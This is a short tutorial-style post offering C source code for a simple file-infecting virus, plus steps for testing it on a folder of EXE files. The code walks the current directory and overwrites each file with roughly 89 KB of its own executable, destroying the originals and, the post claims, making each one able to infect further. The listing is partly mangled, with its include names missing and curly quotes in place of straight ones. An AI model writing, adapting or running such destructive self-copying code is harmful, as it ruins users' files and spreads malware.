How to create virus through c++ and testing also

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which uponexecution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program. #include #include #include #include #include #include FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048];struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(“*.*”,&ffblk,0); while(!done) { virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL) goto next; x=89088; printf(“Infecting%s\n”,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(&ffblk); } } printf(“DONE! (Total Files Infected= %d)”,a); end=clock(); printf(“TIME TAKEN=%f SEC\n”, (end-st)/CLK_TCK); getch(); } HOW TO TEST: 1. Open new empty folder 2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER) 3. Run the virus EXE file there you will see all the files in the current directory get infected. 4. All the infected files will be ready to reinfect That’s it
